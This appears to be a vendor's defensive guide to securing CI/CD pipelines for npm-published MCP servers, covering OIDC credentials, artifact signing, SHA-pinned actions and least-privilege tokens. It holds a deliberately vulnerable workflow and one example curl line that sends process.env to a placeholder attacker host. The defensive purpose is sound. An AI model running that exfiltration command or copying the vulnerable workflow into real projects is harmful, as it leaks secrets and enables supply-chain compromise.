Topic: mcp server CI pipeline security

MCP server CI/CD pipeline security — protecting the build chain that ships your MCP server

An MCP server's security posture is only as good as the pipeline that produces it. A compromised CI runner, secrets in environment variables, unsigned artifacts, or an overly permissive GitHub Actions workflow can let an attacker ship a backdoored version of the server without touching a single line of application code.

The CI pipeline as an attack surface

Every security control in your MCP server's application code — input validation, authentication middleware, rate limiting, output sanitization — is rendered irrelevant if an attacker can replace the artifact that gets deployed. The CI/CD pipeline holds write access to everything that matters: it reads the source code, compiles and packages the artifact, publishes to the package registry or container registry, and often triggers the deployment directly. Compromising the pipeline is logically equivalent to owning the application, but it typically receives far less security scrutiny than the application code itself.

For MCP servers distributed via npm, this exposure is amplified: a single compromised npm publish step sends a backdoored package to every consumer who runs npm install or npm update. The attacker does not need to breach any individual consumer's infrastructure — the supply chain delivers the malicious code automatically.

Attack vector 1: Secrets in CI environment variables exfiltrated via workflow steps

GitHub Actions masks secret values in log output when the secret is registered as an Actions secret — but ::add-mask:: only prevents the exact string from appearing in the workflow log. It does not prevent code running in the workflow from reading process.env and transmitting it out-of-band. A pull request from a fork that adds a test file or modifies a postinstall script can read and exfiltrate every secret passed to the workflow:

# Vulnerable workflow: passes secrets to a job triggered by fork PRs
name: CI
on:
  pull_request:   # fires on PRs from forks — untrusted code runs here

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}      # exposed to postinstall scripts
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
      - run: npm test

A malicious PR adds a postinstall entry to a dependency's package.json (via a crafted lockfile or a dependency confusion attack) or modifies a test file to call require('child_process').execSync('curl -d "'+JSON.stringify(process.env)+'" https://evil.example.com/collect'). The secret leaves the runner before any human reviewer sees the log.

The fix has two parts: first, never pass secrets to jobs triggered by pull_request events from forks; second, replace long-lived credentials with short-lived OIDC tokens that are scoped to the specific job and expire automatically:

# Secure pattern: OIDC authentication — no long-lived secrets
name: CI
on:
  pull_request:   # fork PRs: no secrets in scope
  push:
    branches: [main]  # secrets only on trusted pushes

permissions:
  id-token: write   # required for OIDC token request
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # pinned SHA
      - run: npm ci --ignore-scripts  # no postinstall scripts

  publish:
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    needs: test
    steps:
      - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
        with:
          role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsPublish
          aws-region: us-east-1
          # OIDC: no AWS_SECRET_ACCESS_KEY stored anywhere — token is ephemeral

Attack vector 2: Artifact tampering between build and deploy

A build pipeline typically writes its output — an npm tarball, a Docker image, a compiled binary — to an artifact store (S3, GitHub Packages, an Artifactory instance). If the deployment stage fetches that artifact without verifying its integrity, an attacker who gains write access to the artifact store can substitute a tampered version between the build step and the deploy step. The deploy step picks up the tampered artifact and installs it into production.

The defense is to compute the artifact's SHA256 digest immediately after the build step, sign it with a build key, and verify the signature in every subsequent step that uses the artifact:

# Build step: generate and sign artifact digest
- name: Build package
  run: npm pack  # produces mcp-server-1.0.0.tgz

- name: Compute and sign artifact digest
  run: |
    sha256sum mcp-server-1.0.0.tgz > mcp-server-1.0.0.tgz.sha256
    # Sign with cosign (keyless, using OIDC identity)
    cosign sign-blob \
      --bundle mcp-server-1.0.0.tgz.cosign.bundle \
      mcp-server-1.0.0.tgz

- name: Upload artifact with signature bundle
  uses: actions/upload-artifact@26f96dfa64...  # pinned SHA
  with:
    name: mcp-package
    path: |
      mcp-server-1.0.0.tgz
      mcp-server-1.0.0.tgz.sha256
      mcp-server-1.0.0.tgz.cosign.bundle

# Deploy step: verify signature before use
- name: Download artifact
  uses: actions/download-artifact@fa0a91b854...  # pinned SHA
  with:
    name: mcp-package

- name: Verify artifact integrity
  run: |
    cosign verify-blob \
      --bundle mcp-server-1.0.0.tgz.cosign.bundle \
      --certificate-identity-regexp "https://github.com/your-org/mcp-server" \
      --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
      mcp-server-1.0.0.tgz
    sha256sum --check mcp-server-1.0.0.tgz.sha256

Attack vector 3: Runner compromise via unpinned actions

A GitHub Actions workflow that references an action by tag (uses: actions/checkout@v4) rather than a full commit SHA is vulnerable to tag mutation. The repository owner of the action can move the v4 tag to point to a different commit at any time — including a commit that adds malicious code to the action's entrypoint. On the next workflow run, the mutated action executes on your runner with full access to your secrets and workspace.

Pinning to a commit SHA makes tag mutation irrelevant: the SHA is immutable, and the workflow will fail to check out the action if the SHA is not present in the action's repository history.

# Unpinned (vulnerable): tag can be moved to malicious commit
- uses: actions/checkout@v4
- uses: actions/setup-node@v4

# Pinned to commit SHA (safe): immutable reference
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # v4.1.7
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8  # v4.0.2

# Keep pins updated with Dependabot for Actions:
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
    groups:
      actions:
        patterns: ["*"]

Attack vector 4: Overly permissive workflow tokens

By default, GITHUB_TOKEN in a GitHub Actions workflow has write permission to the repository contents, packages, pull requests, and deployments. A workflow that runs untrusted code (from a fork PR, or via an injected command in a workflow input) can use this token to push commits to the main branch, modify branch protection rules, or publish packages to GitHub Packages — all using a token that was never intended for those purposes.

The principle of least privilege applies: set the minimum permissions at the workflow level and elevate only for the specific job that needs them:

# Workflow-level default: deny all
name: CI
permissions:
  contents: read   # minimum required for checkout

jobs:
  test:
    runs-on: ubuntu-latest
    # inherits read-only from workflow level — correct
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
      - run: npm ci --ignore-scripts && npm test

  publish:
    runs-on: ubuntu-latest
    if: github.ref == 'refs/heads/main'
    permissions:
      contents: read
      packages: write   # only this job needs package write
      id-token: write   # only this job needs OIDC
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
      - run: npm publish --provenance  # publishes with sigstore provenance
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

The MCP-specific risk: CI pipeline as the trust root for npm distribution

For MCP servers published on npm, the CI pipeline is the only gate between source code and the package that every consumer's npm install fetches. A compromised publish step — whether via a stolen NPM_TOKEN, a tampered artifact, or an overpermissioned token — sends malicious code to all downstream consumers automatically, with no further action required from the attacker. npm provenance attestations (generated by npm publish --provenance in a GitHub Actions workflow) create a verifiable link between the published package and the specific commit and workflow run that produced it. Consumers can verify provenance with npm audit signatures.

Minimal secure workflow template

name: Build, Test, and Publish MCP Server
on:
  push:
    branches: [main]
    tags: ["v*"]
  pull_request:
    branches: [main]

# Deny all permissions at workflow level
permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
      - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8
        with:
          node-version: "20"
          cache: "npm"
      - run: npm ci --ignore-scripts
      - run: npm test

      # SkillAudit grade gate: fail the build if grade < B
      - name: SkillAudit security gate
        uses: skillaudit/grade-gate@a1b2c3d4e5f6...  # pinned SHA
        with:
          server-path: "."
          minimum-grade: "B"

  publish:
    needs: test
    if: startsWith(github.ref, 'refs/tags/v')
    runs-on: ubuntu-latest
    permissions:
      contents: read
      packages: write
      id-token: write   # for npm provenance via OIDC

    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
      - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8
        with:
          node-version: "20"
          registry-url: "https://registry.npmjs.org"

      - run: npm ci --ignore-scripts
      - run: npm pack
      - name: Verify build integrity
        run: sha256sum *.tgz | tee build.sha256

      - run: npm publish --provenance --access public
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

What SkillAudit checks

SkillAudit inspects your GitHub Actions workflow YAML files, checks action reference formats for SHA pinning, identifies credential patterns in environment blocks, and verifies artifact signing steps are present in publish jobs.

Check your MCP server's build pipeline for supply-chain exposure.

Run a free audit →